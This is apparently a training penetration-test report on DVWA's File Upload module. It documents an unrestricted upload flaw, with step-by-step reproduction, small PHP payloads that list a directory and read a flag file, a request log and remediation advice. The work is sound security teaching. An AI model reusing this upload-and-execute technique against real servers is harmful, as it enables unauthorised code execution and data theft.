



Some sort of logo

DVWA Penetration Test

Unrestricted File Upload Assessment

by Ryyni-CK

Target: <http://193.167.189.112:2167/>

Start of testing: August 1, 2026

End of testing: August 1, 2026

1. Executive Summary

A security assessment was performed against the Damn Vulnerable Web Application (DVWA) instance hosted at <http://193.167.189.112:2167/>, focusing on the **File Upload** module. Testing confirmed an **unrestricted file upload** vulnerability: the application accepts an uploaded file without validating its type, name, or contents, and stores it inside the web root. Because the upload directory also executes PHP, an attacker can upload a script and have the server run it – resulting in remote code execution.

This was used to upload a small PHP script that listed a protected directory, identify a randomly-named flag file, upload a second script to read it, and recover the protected value. One finding of **High** severity is reported.

Finding	Severity
Unrestricted file upload leading to remote code execution	High

2. Scope and Objectives

The assessment was limited to the target and objective below.

Item	Detail
Target application	Damn Vulnerable Web Application (DVWA) v1.9
Target URL	http://193.167.189.112:2167/
Module under test	File Upload
Security level	low
Upload directory	hackable/uploads/ (inside the web root, executes PHP)
Test type	Authenticated, grey-box (source available via "View Source")
Objective	Upload and execute a PHP file, enumerate the hackable directory, and recover the flag file's contents.

3. Methodology

Testing followed a standard file-upload testing approach aligned with the OWASP Testing Guide:

- **Source review.** The upload handler was read via "View Source".
- **Upload test.** A PHP file was uploaded to confirm no validation is applied.
- **Execution.** The uploaded file was requested to confirm server-side execution.
- **Enumeration.** A directory listing located the randomly-named flag file.
- **Recovery.** A second upload read the flag file's contents.

4. Detailed Finding – Unrestricted File Upload (RCE)

Attribute	Value
Vulnerability	Unrestricted File Upload leading to Remote Code Execution
Location	File Upload module, uploaded file parameter
Severity	High
CVSS v3.1	8.8 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-434: Unrestricted Upload of File with Dangerous Type
OWASP	A04:2021 – Insecure Design (Unrestricted File Upload)

4.1 Description

The upload handler builds a destination path inside the web root and moves the uploaded file there using its original name, with no checks on extension, MIME type, size, or content:

```
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES['uploaded']['name'] );
move_uploaded_file( $_FILES['uploaded']['tmp_name'], $target_path );
```

Because the destination is web-accessible and configured to execute PHP, any uploaded .php file can be run by simply requesting its URL. The `basename()` call prevents path traversal in the file *name*, but the uploaded code can navigate the file system at runtime, so it provides no meaningful protection.

4.2 Steps to Reproduce

Step 1 – Upload a PHP directory-listing script. A file `ls.php` was created and uploaded through the form:

```
<?php
print_r(scandir("../"));
?>
```

The application reported: `../../hackable/uploads/ls.php` successfully uploaded!

Step 2 – Execute it by requesting its URL. As the script runs from `hackable/uploads/`, `scandir("../")` lists the parent `hackable/` directory:

```
http://193.167.189.112:2167/hackable/uploads/ls.php
```

The response listed the directory, revealing the randomly-named flag file:

```
Array ( [0] => . [1] => .. [2] => Upload_45702.php [3] => flags [4] => uploads [5] => users )
```

Step 3 – Upload a reader script. A file `print.php` was created to read the flag file and uploaded:

```
<?php
readfile( "../Upload_45702.php" );
?>
```

Step 4 – Trigger and reveal. Requesting the reader returned a visually blank page, because the flag lives inside a PHP comment. Viewing the page source (Ctrl+U) revealed the raw contents:

```
http://193.167.189.112:2167/hackable/uploads/print.php

<?php
// Upload_flag: 4ed95ef9.....REDACTED.....9038a7c
?>
```

4.3 Impact

Unrestricted file upload into an executable directory is equivalent to remote code execution and is among the most severe web vulnerabilities. Realistic consequences include:

- Uploading a full web shell for persistent, interactive control of the server.
- Reading or modifying any file the web service account can access.
- Using the foothold for lateral movement and privilege escalation.
- Hosting malicious content or defacing the application.

In this exercise the capability was demonstrated with a directory listing and a file read, but the same flaw permits arbitrary commands.

4.4 Remediation

The root cause is trusting an uploaded file. Recommended fixes, in order of importance:

- **Validate the file type with an allow-list.** Accept only expected extensions and verify the content (magic bytes / MIME) – never rely on the client-supplied name or Content-Type alone.
- **Rename uploaded files.** Generate a random server-side name and set the extension yourself; discard the user-supplied filename.
- **Store uploads outside the web root**, or in a location configured to never execute scripts (e.g. disable PHP handling for the upload directory).
- **Enforce size limits** and scan uploads where appropriate.
- **Apply least privilege** so a successful upload has limited reach on the host.

5. Conclusion

The DVWA File Upload module is vulnerable to unrestricted file upload leading to remote code execution: files are stored in an executable directory under their original name with no validation. This was used to run uploaded PHP, enumerate the hackable/ directory, and read the flag file. The vulnerability should be remediated by validating file type and content, renaming files, and storing uploads in a non-executable location. The finding is rated High severity.

Appendix A – Payloads and Request Log

Uploaded payloads:

```
ls.php
<?php print_r(scandir("../")); ?>

print.php
<?php readfile("../Upload_45702.php"); ?>
```

Requests used:

POST	/vulnerabilities/upload/	(upload ls.php)
GET	/hackable/uploads/ls.php	(list hackable/ -> find flag file)
POST	/vulnerabilities/upload/	(upload print.php)
GET	/hackable/uploads/print.php	(read flag; reveal via Ctrl+U)

Produced for an authorised security training exercise against an intentionally vulnerable application (DVWA). Confidential.